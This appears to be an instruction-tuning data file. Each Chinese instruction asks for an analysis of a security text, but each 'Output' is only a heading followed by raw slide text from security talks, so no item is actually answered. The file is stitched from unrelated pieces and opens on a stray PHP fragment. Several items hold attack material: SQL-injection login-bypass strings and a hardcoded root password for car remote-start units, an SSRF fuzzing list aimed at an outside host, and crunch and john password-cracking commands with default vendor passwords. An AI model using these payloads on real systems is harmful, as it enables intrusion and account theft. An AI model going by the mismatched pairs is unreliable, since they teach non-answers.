1000 : $limittime); //1000 $func = ''; flinkshowmsg gourl-1 if ($gourl == '-1') { if ($limittime == 0) { $litime = 3000; } $gourl = "javascript:hi


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Practical Foxhunting 101 Adam Wirth - SimonJ Overview  About me  About Foxhunting  Equipment Overview & Selection  Preparation  Techniques 2 Who Am I?  More than 15 years professional experience as a software & systems engineer  Most of my career has been spent working on wireless communications & emitter geolocation systems  Last years winner of the Hide & Seek and Foxhunt events in the Wireless Pentathlon 3 What is Foxhunting?  Finding the physical location of wireless emitters and/or their users, by measuring received power from different locations  Foxhunting is between the "last mile" and the last feet; for greater or lesser distances, other techniques are more appropriate  Wet-work ninjas ﬁnding the correct bedroom in the house of the South American populist government ofﬁcial  Tracking the Corporate Exec whose iPhone you've trojaned into an access point, as part of a Red Team penetration test  DEFCON 22 Wireless CTF  Techniques are applicable to all RF emitters, like mobiles phones, WiFi APs, heart monitors, etc. 4 What Equipments Involved?  Antennas  Omnidirectional and directional, for different purposes  Radios  Capable of receiving the signal-of-interest  Software-deﬁned radios are ﬁnally becoming affordable  Visualization Software  Most important feature is viewing received power over time 5 Gear Selection: Antennas 6 Photo courtesy of NASA Aperture Versus Gain  As a rule, the more sensitive the antenna, the more focused (directional) its reception pattern  Too much gain can be a bad thing  High gain requires accurate pointing  Power curve follows the Inverse-Square Law  Unless you can attenuate your gain, you lose range discrimination when youre close to an emitter 7 Omnidirectional Antennas  Typically have a toroidal radiation pattern  Gain varies inversely with z-axis directionality  For foxhunting, high gain is good  Provides greater detection distance  Allows some degree of attenuation by varying orientation 8 Directional Antennas  There are only tw


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Quantum Computers vs. Computers Security @veorq  http://aumasson.jp Schrodinger equation Entanglement Bell states EPR pairs Wave functions Uncertainty principle Tensor products Unitary matrices Hilbert spaces Nobody understands this stuff, and you dont need it to understand quantum computing 1. QC 101 2. In practice 3. Breaking crypto 4. Post-quantum crypto 5. Quantum key distribution 6. Quantum copy protection 7. Quantum machine learning 8. Conclusions 1. QC 101 Quantum mechanics Natures operating system Quantum mechanics Mathematics Gravity Electromagnetism Nuclear forces Applications OS Hardware Quantum mechanics Particles in the universe behaves randomly Their probabilities can be negative "Negative energies and probabilities should not be considered as nonsense. They are well-defined concepts mathematically, like a negative of money." Paul Dirac, 1942 α |0 + β |1 When observed 0 with probability α2 1 with probability β2 Once observed, stays either 0 or 1 forever Quantum bit (qubit) α0x00 |0x00 + + α0xfe |0xfe + α0xff |0xff Again, the sum of probabilities α2 equals 1 The αs are called amplitudes Generalizes to 32- or 64-bit quantum words Quantum byte Set of quantum registers (bits/bytes/words) Quantum assembly instructions: Transform the probabilities of the register Probabilities should still sum to 1 Linear math transforms (matrix products) A program ends with a measurement Quantum computer Quantum computer simulators Impossible with a classical computer Possible with a quantum computer! The killer app You heard about NP-complete problems? SAT, scheduling, Candy Crush, etc. Solution hard to find, but easy to verify QC does not solve NP-complete problems! QC vs. hard problems NNP P (easy) NNP NP (hard) NNP BQP (quantum) Quantum speedup Make the impossible possible Example: Factoring integers Hard classically (exponential-ish) Easy with a quantum computer! Obvious application: break RSA! Quantum parallelism Qubits encode all values at the same time! Caveat: you


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Security Vulnerabilities on Online Payment: Summary and Detection Qing Zhang(VulpeckerTeam@Qihoo 360) Joint work with Guangdong Bai (Faculty Member in SIT), Ye Zhou (VulpeckerTeam@Qihoo 360)  01 Web 3.0时代的 安全漏洞 层出不穷的支付安全漏洞 1 Black Hat US 2016. Mendoza. Samsung Pay: Tokenized Numbers, Flaws and Issues. Token泄露 IEEE S&P 2011: Rui Wang et.al. How to Shop for Free Online Security Analysis of Cashier-as-a-Service Based Web Stores 支付协议实现的安全漏洞  NDSS 2014: Pellegrino et.al. Toward Black-Box Detection of Logic Flaws in Web Applications  NDSS 2014: Sun et.al. Detecting Logic Vulnerabilities in E-Commerce Applications 开源商庖代码的安全漏洞 为什么这么多的支付安全漏洞呢 2 支付安全漏洞一般是涉及协议以及逻辑方面较之其他安全漏洞更难察觉 开发者缺乏支付安全的知识储备与开发经验 电商网站使用开源代码更新不及时存在严重的支付安全风险 移动端带来了新的攻击面 第三方支付掉链子 安全通信协议不安全 薅羊毛 影响 由亍支付过程涉及金钱因此支付安全漏洞较之其他类型的安全漏洞具有更高 的敏感性和危害性 3 资金蒸发 0元支付  我们的工作 4 2 支付漏洞的检测与防护 在线支付漏洞的研究及挖掘 1  总结了15种类型的在线支付的安全漏洞  研究了80多个电商网站以及APP共检测到8种新型支付漏洞 所有漏洞均已告知商家现已修复 3 现在以及未来工作  支付协议的形式化验证  02 那些便宜的 商品 类型一支付金额完整性 - 篡改支付金额 支付流程及攻击方式 5 示例一某VPN贩买网站 6 类型二订单完整性 - 订单生成后加货物 示例来源Rui Wang et.al IEEE S&P 2011 7 类型三支付凭证重放 贩买成功后会有一个从银行向商户网站跳转的过程如果这个过程反复的 重放有可能会导致商品的反复贩买和增加但是用户不需要支付更多的金钱 8 类型三支付凭证重放 - 中间人攻击 攻击者设置一个商家并向自己支付然后将支付成功的消息重放到正 常商家 9 商家 欺诈 者 冒牌 商家 选择产品然后 到支付页面 告诉商家我已 支付成功 贩买跳转到银行 选择与在正常商家一致的 产品并模拟所有参数 最主要是模拟返回地址 类型四第三方支付漏洞导致所有商家信息泄露 漏洞原因  第三方支付完成后页面从支付网站跳转到商家网站  如果修改支付订单的订单号页面自动跳转到该订单对应的商家  跳回的页面中含有用户在商家的订单信息  遍历订单号攻击者可以获取在该第三方支付网站上支付成功的所有订单 10 11 示例X钱支付 危害性 据我们统计数千家在线贩物网站受到此漏洞的影响 我们在X宝支付等其他第三方支付平台发现 过同样类型的漏洞 12 类型五数字签名未覆盖完整 此案例金额已经做了签名校验但是仍然有一个未签名的参数会对最后 的交易造成影响从而导致了问题的发生@koohik 13 类型六订单替换 14 15 类型七货币单位完整性 - 货币单位替换 这种问题多发生在paypal等国际支付的场景 16 示例这是一个印尼盾变美元的故事 17 类型八溢出攻击 - 金额数字溢出 如果支付过程中没有对支付金额的上限进行安全控制那么有可能会导致程序进入异常处理 流程比如说买不管买多少货物金额都是固定的再严重一点就会导致0元支付 @imlonghao 18 类型九顺序执行缺陷 贩买过程 19 A B C D 支付 @sex is not show 20 示例轻松买票 类型十用户完整性 - 用户替换 花别人的钱买自己的东西 21 示例瞬间成为初创员工有木有 22 类型十一密钥泄露 内置支付功能的app为了设计上的方便有可能会把私钥硬编码到代码戒配置文件中 导致攻击者反编译apk之后获取密钥信息使得交易信息可以被篡改 23 类型十二凼数修改 apk反编译之后的凼数修改有可能导致商家在最后一步向支付方提交订单时未验证 信息的准确性虽然此时已经对信息进行签名但是仍然被篡改 24 25 示例篡改支付信息


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Your Car Is My Car About me  Software Engineer by trade  Hacker by passion  Lock picker for fun  The best puzzles are not meant to be solved  All opinions are my own, and may not reflect those of my past, present, or future employers  Twitter: @Jmaxxz Backstory Image Source:https://commons.wikimedia.org/wiki/File:Raynauld.jpg Traditional car ignitions  Lock + Switch Image source: https://www.autozone.com/batteries-starting-and-charging/ignition-switch/duralast-ignition-switch/342354_0 "Modern" Car Ignitions  Lock + Electronic Lock + Switch "Data-link" bus 5V UART 9600 BAUD 0C 0E 03 32 03 FF FF F1 35 0D Start Sentinel End Sentinel Direction (I.E. Garbage) Command Length Payload (Address) Checksum Demos Particle.io firmware can be found at: https://github.com/jmaxxz/OpenRemoteStart MyCar (Cellular Remote) MyCar AKA  Linkr-LT1  MyCar Kia  Visions MyCar  Carlink (CL6) How does this happen? RX TX Tips for using Uart  3.3v 115200 baud uart  Change server AT+XIP="173.27.224.18",46033  root password is oelinux123  https://fccid.io/2AEB4AG21/User-Manual/User-manual-3104674 RX TX Demo Example Vectors Untargeted (admin) UserName: API Password: f") OR "1"<>"1 Targeted UserName: example@example.com" OR ("1"<>"1 Password: a") OR "1"<>"1 Remote Starting a Car Demo Getting Command Status No Direct Object Reference? Duplicate Information  USER_EMAIL  ACCOUNT_ID Duplicate Info Can Lead to Bugs // Case 3 if(USER_EMAIL owns ACCOUNT_ID) { DoCommand(); } // Case 4 if(USER_EMAIL owns ACCOUNT_ID AND ACCOUNT_ID owns DEVICE_ID){ DoCommand(); } // Case 1 if(USER_EMAIL owns DEVICE_ID){ DoCommand(); } // Case 2 if(ACCOUNT_ID owns DEVICE_ID){ DoCommand(); } Direct Object Reference An attacker could Remotely  Locate car  Unlock car  Start car  Lock car  Trigger alarm  Edit car  Check the status of any command MyCar's Fix For Hardcoded Password Old: New: Reverse Proxies Don't Fix Everything MyCar shows your car's current location But And track the most common places you visit Unlike public cloud e


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Reverse-engineering 4G hotspots for fun , bugs  and net financial loss . Who am I? Hardware at Pen Test Partners. Spent a lot of time in routers and modems for the past few years. Did a bunch of certs & a bunch of CVEs to prove something? Tinkered with BitFi hacking last year. Love to use pseudonyms. What am I talking about today? 4G hotspots AKA cellular routers! 1. Why cellular routers? 2. Attack surface/threat model. 3. Example: ZTE MF910 (et al) 4. Example: Netgear Nighthawk M1 5. Miserable conclusion Scary! (apparently) 5G is coming - so what? More consumers & business users will use cellular for daily TCP/IP. More modems, dongles and routers in the world. Not been much public scrutiny on consumer cellular networking gear in particular? Whats up with cellular routers? Not many vendors doing cellular kit. Lots of code reuse in the industry. All computers are terrible. Theres probably some bugs, eh? Cellular Basics! They do TCP/UDP/IP over cellular these days!! Not inherently secure (obviously?) APN ~= a LAN you dont control. Might be well configured! Or might be crap. Regardless, youre still on a LAN = not on Shodan https://blog.radiatorsoftware.com/2016/07/flexible-m2miot-service-with-radiator.html APN Security On a well-conﬁgured APN (private/M2M/IoT-speciﬁc) we might see:  Client segregation  Outbound web ﬁltering/proxy  Internal DNS  IMEI ﬁltering  IMEI/ICCID pair ﬁltering  Anomalous behaviour detection  Anything youd hope to see on any private corporate network! Not always the case. Higher-Risk Attack Surface (Actual bugs) Web conﬁguration interface Old-fashioned RCE if exposed to the WAN. Client-side (CSRF) RCE on other TCP/UDP services RCE via SMS/MMS?? If you know the phone # Lower-Risk Attack Surface (Not really bugs?) I like having a shell on my router though! Any physical way to grab info or get shells: USB Flash memory Bootloader UART JTAG/SWD Whatever proprietary nightmare interface. These are more often useful or interesting for us, rather than ris


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Conversation with Gary Webb May 2000 Was it worth it? Yes. The CIA admitted it. I know it was the truth, and thats what kept me going. I knew I was right. My eyes were wide open. I knew what I was getting into. The kids suffered. I had the paper behind me  I thought. Support came from all sorts of places. Especially African Americans. My wife was OK with it. She was used to me getting death threats. You get one chance in a lifetime to do the right thing. If you dont do it, you surrender, and then they win. These are the worst people on earth that youre dealing with  they lie, plant stories, discredit and worse for a living and have the resources and the experience. But somebodys got to do it. Otherwise they win. The choice is to do the work -- surrender. He was told he was the most cynical but also in some ways the most naive and idealistic. He was mentored by a journalist who taught him that the work was to comfort the afflicted and afflict the comfortable. When he killed himself, I thought of this late-night conversation. Who won? Who won?


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Bug Bounty on Steroids @Hussein98D We provide pentests! Visit WebImmunify.com October 2022 whoami? Bug Bounty Hunter Security Researcher Yahoo Elite Intigriti 1337up0533 winner H1-2010 Vigilante Award H1-2010 Best Team Collaboration BugCrowd BugBash Best Team Collaboration +1000 vulnerabilities reported CEO @ WebImmunify.com @hussein98d on all platforms Account TakeOver via Confusion The Un-spotable SSRF Local File Disclosure and Bypasses Hacking a Bank by Finding a 0day SSO Bypass Techniques Another XSS Level In this talk:  Application allows user A to invite other users: B, to his organization  User A is able to ask for password reset for accounts he invited  User B gets reset token link in his mails Account TakeOver via Confusion Can we try to exploit this? PoC  User A invites user B to his instance where user B is his second email address  User A asks for password reset of user B  User B opens the reset link and waits  User A edits User Bs email to victims email  Reset Password Tokens becomes valid for Victim Account TakeOver via Confusion User A User B Step 1 Invitation to join org Step 2 User A Password Reset inside App User B Account TakeOver via Confusion User B User B Step 3 Opens Link to Password Reset Step 4 User A Change email of user B to victims Link Account TakeOver via Confusion Attacker Victim Step 5 Reset Password via previous link Step 6 Attacker Login with new password Victim Account TakeOver via Confusion The Un-spotable SSRF Anything catches your attention? The Un-spotable SSRF __region=eu-west-1 Where do we usually see this parameters value? AWS S3! The Un-spotable SSRF Testing Methodology for such endpoints First, we set a random value inside the __region parameter __region=test&Action=ListTopics&appId=223 Result: Timeout response Thats fishy! The Un-spotable SSRF Testing Methodology for such endpoints Fuzzing Build a little list containing different payloads to hopefully identify some behavior list.txt : 0xp.cc 0xp.cc/ @0xp.cc \\0xp.cc //0xp


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

.NET 文件上传多个场景绕过预编译限制获取 Shell Ivan1ee@dotNet 安全矩阵 [ dotNet 安全矩阵]  聚焦于微软.NET 安全技术关注基于.NET 衍生出的各种红蓝攻防对抗技术分享内容不限于 .NET 代码审计 最新的.NET 漏洞分析反序列化漏洞研究有趣的.NET 安全 Trick.NET 开源软件分享. NET 生态等热点话题愿你能在这里学 到实在的干货共同推动.NET 安全氛围卷起来 配套的[ dotNet 安全矩阵]知识星球优惠活动持续进行价格直接给 到星球最低起步价[50] 每天只需要 1 块钱不到就可以让自己 从.NET 小白成为高手因为星球里的资料和教程很少在市面上广泛 传播价值完全划算还可以获得阿里蚂蚁字节等大厂内推实习 或社招岗位的机会欢迎对.NET 感兴趣的小伙伴们加入我们一起 做一件有情有意义的事 0X01 背景 在攻防演练的这个大背景下红蓝对抗也逐渐真正的提升到对抗这个层次这 不今天由 dotNet 安全矩阵星球圈友们组成的微信群里有位群友问起如何突破 预编译拿 webshell 有什么方法预编译已经够麻烦了这位师傅还非常有挑战 的加上了不考虑跨目录的情况下怎么获取 webshell借师傅这么有挑战的命题 笔者系统性的介绍预编译几种不同场景下获取 shell 的手段希望本文探讨的这 些可行性路径以及达成目标使用的不同方法能在实战中有所帮助 0X02 困局 .NET 站点发布时提供一项预编译的能力可以提升站点运行处理的速度以及保 护知识版权采用了这种预编译模式后站点下的每个.NET 文件的内容被标记为 "这是预编译工具生成的标记文件不应删除!"如果此时上传一个普通的 aspx 木马访问后提示 "未预编译文件因此不能请求该文件"如下图所示那么 这种场景下如何通过文件上传漏洞获取 WebShell 呢笔者想到了以下不同场 景下的几种变通的方法在正式介绍方法前首先回顾下预编译的原理 0X03 用法 .NET 下的编译方式大致可以分成两种方式分别为动态编译和预编译动态编译因为文件 以源代码的形式放置于 Web 容器中所以对于首次访问编译时需要消耗大量的资源这 样会严重降低 Web 应用的响应速度另外代码内容是开放的容易被篡改导致系统不安 全或崩溃从知识产权来看也不利于保护商业秘密以上这两点动态编译的劣势也是开发 者选择预编译的两种原因预编译模式下将编译所有的.NET 文件当然 HTML图片 css 等静态资源文件不包含在内在预编译过程中编译器将创建的程序集存储于项目根目 录下的 Bin 文件夹另外也会同步到一个.NET 特殊的目 录 %SystemRoot%\Microsoft.NET\Framework\version\Temporary ASP.NET Files 文件夹 下Bin 目录下会编译生成两类为文件一类是扩展名为.compiled该文件包含指向与该 页相应的程序集名称另一类文件是编译后的扩展名为.dll 的程序集文件下面笔者分几 个小节分别介绍预编译发布过程和生成的结果文件 3.1 编译选项 创建.NET MVC 项目后右击选择 发布系统提供了文件夹FTPIIS云发布等多种途 径笔者选择了传统的 IIS 发布发布就绪后配置 Release 选项打开预编译详细配置页 面默认情况下系统勾选了 "允许更新预编译站点"这样的好处在于可以很轻松的修改代 码方便应急维护但不好的方面就是不安全未能达到保护软件知识版权的目的如果 不勾选允许更新预编译站点项目下的所有 aspx 文件的内容都将被重写为 这是预编译 工具生成的标记文件不应删除!而文件本身也只是个占位符 除了图形化界面操作预编译之外Visual Studio 还提供了命令行下的可执行程序 aspnet_compiler 预编译.NET 项目具体的命令释义如下 名称 释义 aspnet_compiler -v /Lib -p D:\Project\VisualStudio\Pre\WebForm\test D:\test - fixednames -v 表示指向的虚拟地址路径 /Lib -p 要编译的源 Web 项目所在文件夹以及输出的目的文件夹 -fixednames 表示每个.aspx 都编译生成单独的 dll 文件并使用固定文件名 经过编译后项目文件夹中的所有.aspx, .ashx 及 App_Code 中的.cs 文件都会被编译成 DLL 文件静态资源文件将原封不动的复制到目的文件夹里 3.2 complied 保留文件 .NET 每一次编译都会生成很多具有.compiled 扩展名的保留文件这个文件本质上是一个 XML 文件命名格式如下其中[page]是页面的名称[folder-hash]是对页面所在路径的 Hash


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

arXiv:2102.09980v3 [cs.CR] 4 Mar 2022 A ﬂow-based IDS using Machine Learning in eBPF Maximilian Bachl, Joachim Fabini, Tanja Zseby Technische Universitat Wien ﬁrstname.lastname@tuwien.ac.at AbstracteBPF is a new technology which allows dynamically loading pieces of code into the Linux kernel. It can greatly speed up networking since it enables the kernel to process certain packets without the involvement of a userspace program. So far eBPF has been used for simple packet ﬁltering applications such as ﬁrewalls or Denial of Service protection. We show that it is possible to develop a ﬂow-based network intrusion detection system based on machine learning entirely in eBPF. Our solution uses a decision tree and decides for each packet whether it is malicious or not, considering the entire previous context of the network ﬂow. We achieve a performance increase of over 20% compared to the same solution implemented as a userspace program. I. INTRODUCTION A. eBPF eBPF is a technology which makes the Linux kernel pro- grammable by enabling the injection of pieces of code at many locations of the kernel code. eBPF can be dynamically injected during runtime and is veriﬁed to make sure that it cannot crash and cannot get caught in inﬁnite loops. However, this veriﬁcation is only possible for programs that are not turing- complete. Thus eBPF programs cannot contain features such as loops of arbitrary length but instead loops must always have a maximum number of iterations. Also, backward jumps in the code are generally not allowed. This means eBPF can only be used to implement algorithms which do not require turing-completeness. eBPF programs are usually written in C and are ﬁrst compiled to eBPF bytecode. Upon injection into the kernel, this eBPF bytecode is veriﬁed and dynamically compiled to native code. eBPF is especially suitable for packet processing: When a packet arrives at a network interface, certain actions can be performed such as dropping the packet. This is useful fo


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

O P E N S O U R C E FA I R Y D U S T JOHN MENERICK S E C U R I T Y D R A G O N @ N E T S U I T E T H E V I E W S A N D O P I N I O N S E X P R E S S E D H E R E A R E M Y O W N O N LY A N D I N N O WAY R E P R E S E N T T H E V I E W S , P O S I T I O N S O R O P I N I O N S - E X P R E S S E D O R I M P L I E D - O F M Y E M P L O Y E R ( P R E S E N T A N D PA S T ) O R A N Y O N E E L S E . M Y T H O U G H T S A N D O P I N I O N S C H A N G E F R O M T I M E T O T I M E ; T H I S I S A N AT U R A L O F F S H O O T O F H AV I N G A N O P E N A N D I N Q U I S I T I V E M I N D . WHAT WE ARE NOT TALKING ABOUT WHAT WE ARE TALKING ABOUT NO ONE SAID IT WAS SECURE EVERYBODYS JOB IS NOBODYS JOB This is a story about four people named Everybody, Somebody, Anybody, and Nobody. There was an important job to be done and Everybody was asked to do it. Everybody was sure Somebody would do it. Anybody could have done it, but Nobody did it. Somebody got angry about that, because it was Everybody's job. Everybody thought Anybody could do it but Nobody realized that Everybody wouldn't do it. ! It ended up that Everybody blamed Somebody when Nobody did what Anybody could have done. Financial Fun Hobbyist Activist  O P E N S O U R C E P R O J E C T S P L AY A C R U C I A L R O L E I N T H E D I G I TA L A G E B U T A R E M A I N TA I N E D B Y A S M A L L , S T R A I N E D C A D R E O F V O L U N T E E R S .  Functionality Usability Performance Security Stability Compliance  T H E R E A R E L O T S O F C R I T I C A L L I B R A R I E S M A I N TA I N E D B Y V O L U N T E E R S T H AT A R E N O T G I V E N E N O U G H AT T E N T I O N  The system must not require secrecy and can be stolen by the enemy without causing trouble. C / C++ ! MEMORY LIFECYCLE AND BOUNDARY MANAGEMENT IS A BITCH IN APPLICATION LOGIC JAVA IT IS NOT LIKE JAVA GOT INSECURE ALL OF A SUDDEN. IT HAS BEEN INSECURE FOR YEARS. PHP PHP 0DAY FOR EVERYONE NO STRATEGY NO SECURITY CONTACT OR REPORTING DEFINED Inconsisten


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Securing MMOs A Security Professionals View From the Inside Who Is This Guy?  Security industry professional  Years writing subversive software  Static analysis tools for C and Java  Former Senior Software Engineer at Bioware Mythic  Pwned other games  Ran Defcon CTF & Quals for 4 years as part of Kenshoto What This Talk Includes  Thoughts on what it's like to go from security to gaming  Stories on how bad it currently is  Some examples of hacks & tools in the wild  Some thoughts on how the games industry can get better at security  Why it wont get better any time soon What This Talk Doesnt Include  0-day  Release date for Star Wars: The Old Republic  Crappy clip-art  Shout-outs Making the Jump  Alternate slide title: How I Learned to Stopped Worrying and Love the Shorts  Expectations  Coming from a world where crashes and vulns mean a big deal  Going to a world where crashes are matter-of-course and extended downtime might elicit an apology on a forum  From a world of KB to a world of GB  No matter how much code you write, your binary will still be smaller than the intro video  30-60 minutes for compilation, 3-5 minutes for linking Making the Jump  High Performance  4000 simultaneous clients per "shard"  Under 100ms of latency  Dozens of commands per user per second  4Hz target server frame speed  Low Speed  Much slower paced  Greater tendency for formal education Challenges of Security in an MMO  The Rest of the World  Most servers have well-defined, community- reviewed specs  Many are restricted to trusted users  Some are open-source and benefit from peer review Challenges of Security in an MMO  Games  We define a spec as we go  Features are added, cut, change scope  We give a connection to anyone that asks  Often for free  We closely guard our code  All of this makes our lives harder Challenges of Security in an MMO  More sophisticated games breed more sophisticated hacks  Client-side security is always a losing battle  But you can have fun trying  It's an arms


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

01 02 03 MS Just Gave the Blue Team Tactical Nukes (And How Red Teams Need To Adapt) 2 IBM Security Whoami  @retBandit  Red Team Ops Lead at IBM X-Force Red  Part of CREST (crest-approved.org)  I like mountain biking, drones, and beer  Canadian, sorry not sorry 3 IBM Security 4 IBM Security Tactical Nukes? 5 IBM Security 6 IBM Security TTP Host Recon Gain a Foothold External Recon Internal Recon Dominance Lateral Movement Exploit Vulnerabilities Spear Phishing Social Engineering Malicious USB Media Wireless Physical Host Recon Host Controls/Logging Recon Host Controls Bypass Tools Transfer Short-Term Persistence Host Privilege Escalation Credential Theft Network Recon Domain Recon Asset Recon Admin Recon Network Security Recon Passive Information Gathering Active Information Gathering Port Scanning Service Enumeration Network/App Vuln Identification Evade Network Security Controls Lateral Movement Network Exploitation Elevate Network Privileges Gain Domain Admin Gain Asset Admin Sensitive Asset Access Exfill Sensitive Data Long-Term Persistence 7 IBM Security Were Talking Post Breach Source: https://blogs.microsoft.com/microsoftsecure/2016/11/28/disrupting-the-kill-chain/ 8 IBM Security The Laboratory 9 IBM Security ATP Overview Source: MS 10 IBM Security Coming in Release 3 Defender brand expanded to include:  Windows Defender Antivirus  Windows Defender Advanced Threat Protection  Windows Defender.... Exploit Guard  ... Application Guard  ... Device Guard  ... Credential Guard  More OS Source: https://blogs.windows.com/business/2017/06/27/announcing-end-end-security-features-windows-10/ https://techcrunch.com/2017/06/08/microsoft-confirms-its-acquired-hexadite-sources-say-for-100m/ 11 IBM Security 12 IBM Security Gaining a Foothold 13 IBM Security Gaining a Foothold w/ Out Of The Box PS Payloads 14 IBM Security Obfuscated PS Payloads 15 IBM Security They promised us freedom. 16 IBM Security But delivered slavery. 17 IBM Security ATP is a Beneficiary of WMF 5 / Win


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1 strace抓取ssh登录凭证的问题 起因是在p的知识星球有师傅提问到这个问题 关于https://xz.aliyun.com/t/7698中提到的strace抓取ssh密码的法以前看到有提到抓密 码可以但是抓私钥不能登录这个问题但是也没做实验只是简单的以为是抓取的私钥不完整之类没有 深究后来个师傅提到这个私钥根本不是来登录的所以就研究了下 因为ssh中密码登录的时候虽然传来的请求会通过公钥加密但是在服务端对密码有个解密过程如 下图所示 所以在服务端是有可能抓到密码的 为什么能抓到密码 为什么抓不到密钥 2 密钥登录的时候服务端会成个随机的字符串然后公钥加密这个字符串发给客户端然后客户 端解密最后服务端再去对客户端解密的结果是否正确下图仅作为说明细节不定完全符合 这个过程中根本不存在客户端的私钥传递的过程所以是不可能抓到登录私钥的 总结就是可以抓密码抓不到私钥


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Seccubus Analyzing vulnerability assessment data the easy way Who am I? Frank Breedijk  Security Engineer at Schuberg Philis  Author of Seccubus  Blogger for CupFigther.net Email: fbreedijk@schubergphilis.com Twitter: @Seccubus Blog: http://cupfighter.net Project: http://www.seccubus.com Company: http://www.schubergphilis.com Photo taken by Arthur van Schendel A story about two guys These and all non-attributed photos of Frank Breedijk are taken by Jan Jacob Bos C. Lueless B. Rightlad Mission: Perform a weekly vulnerability scan of all our public IP addresses C. Lueless Decides to use a regular vulnerability scanner needs to get up very early manually starts his scan and waits finishes the scan and goes back to sleep  and analyzes the report in the morning B. Rightlad Uses Seccubus  he spends the morning configuring Seccubus  goes home  ... Relaxes   the scanning happens at night  Image: Orion's Umbra, a Creative Commons Attribution Non- Commercial (2.0) image from jahdakinebrah's photostream  and when he wakes up   he can analyze the findings and remediate Problem description  Nessus is a very powerful vulnerability scanner  Free (As in beer) TCP/IP security scanner  Best valued security scanner (sectools.org survey of 2000, 2003 and 2006)  Nessus generates a lot of output. Maybe too much?  Scanning takes a lot of time and is not automated  A lot of time is spent on analysis  Nessus GUI is not great for analyzing scans  Work risk ratio What is Seccubus  Seccubus is a wrapper around vulnerability scanners  GUI is geared towards analyzing and ticking-off findings that have been seen  Compares consecutive scans  Supports multiple scanners:  Nessus  OpenVAS  Nikto  More to follow What does Seccubus do differently? Scanning is started from the command line  This means it can be started from cron The findings are stored in a database  Currently the database is a directory structure Presentation via a WebGUI  Easy triage via filtering  Status allows you to tick-off findin


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

sslssh 0x00 0x01    0x02  SangforDlan sangfor123 123456 Sangfor123  crunch 5 5 -t %%%% -o wordlist2.txt cat wordlist2.txt | sed -e 's//admin/' > output.txt john --wordlist=output.txt shadow 0x03      0x04


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Why Airport Security Cant Be Done FAST Semon Rezchikov, Joshua Engelman, Morgan Wang Hi, DEFCON 19! Here, weve compiled an outline of a small portion of the information we found and a detailed list of our sources in case youre interested in reading more about the FAST program. (Or about MALINTENT or Hostile Intent or SPOT or whatever else.) We thought youd find this more useful than the slides to our presentation, as (if you recall) we presented most of the information verbally, using the slides only as a visual counterpoint. In fact, our slides are mostly cute pictures of bunnies and puppies and trailers and TSA agents, which works great during DEFCON but isnt so great if you want to continue research outside of it. Our sources are broken up as follows: The articles on SPOT, Criticism of FAST, the legality of FAST, base rate fallacy, articles on FAST, Government Documents, and Information on SDS, the Israeli version of FAST. All of the documents are in the public domain and can be found using some creative Googling. - Semon, Morgan and Josh Outline FAST - Future Attribute Screening Technology Run by DoDs Behavioral Research Unit A series of rooms that use biometric scanners analyze your physiological signs while someone questions you try to detect whether someone passing through the FAST system intends to blow something up - Pretty much a polygraph test on steroids People: Check out http://www.dhs.gov/files/programs/gc_1218480185439.shtm It seems that FAST is being developed at Draper Labs (so the trailers indicate) Relations of various projects to each other: Project MALINTENT: the overarching project to detect malintent Hostile Intent: The actual technology that can detect malintent FAST: a trailer with a packaged, practically usable form of malintent detection technology History: Paul Ekman did a lot of research into faces and is known for his work on microexpressions. (Hes the guy the TV show Lie to Me is based on) He believes that things like detecting decepti


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Worming through IDEs David Dworken `whoami`  David Dworken (@ddworken)  Security Engineer at Google  Standard disclaimer: Opinions expressed are my own  Hacking in both senses of the word  Writing silly useless but interesting code  Breaking serious real code for fun  I found and reported 30+ bugs in IDEs over a few month period  Note: All bugs in this presentation have either been ﬁxed or declared working-as-intended Why hack developers? Production Why hack developers? Production Where developers think the security boundary is Where developers think the security boundary is Where IDEs (used to) think the security boundary is IDEs are popular! https://insights.stackoverﬂow.com/survey/2019#technology-_-most-popular-development-environments VS Code: Trusting Workspace Settings https://code.visualstudio.com/docs/getstarted/settings VS Code: Trusting Workspace Settings Strace is amazing! https://strace.io/ Finding bugs with Strace  Files that don't exist: `cat /tmp/strace.out | grep ENOENT`  Oftentimes ﬁles that don't exist can be used to tweak a conﬁguration and achieve code execution  Files that are accessed: `cat /tmp/strace.out | grep open`  Knowing what ﬁles are accessed in what order can hint at how a program is processing the input  Commands that are run: `cat /tmp/strace.out | grep exec`  Look for command injection  Look for ways to achieve code execution using the launched programs (e.g. `__init__.py` ﬁles) VS Code: Locally resolved node_modules folder VS Code: Command Injection https://github.com/microsoft/vscode/blob/c23285f8c8b73228af4cce81721db105542c0cae/extensions/npm/src/features/packageJSONContribution.ts#L258 Visual Studio: Build Conﬁgs https://docs.microsoft.com/en-us/cpp/build/cmake-projects-in-visual-studio Note: Visual Studio != Visual Studio Code Visual Studio: Build Conﬁgs https://docs.microsoft.com/en-us/cpp/build/cmake-projects-in-visual-studio Note: Visual Studio != Visual Studio Code Visual Studio: Build Conﬁgs https://docs.microsoft.com/en-u


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

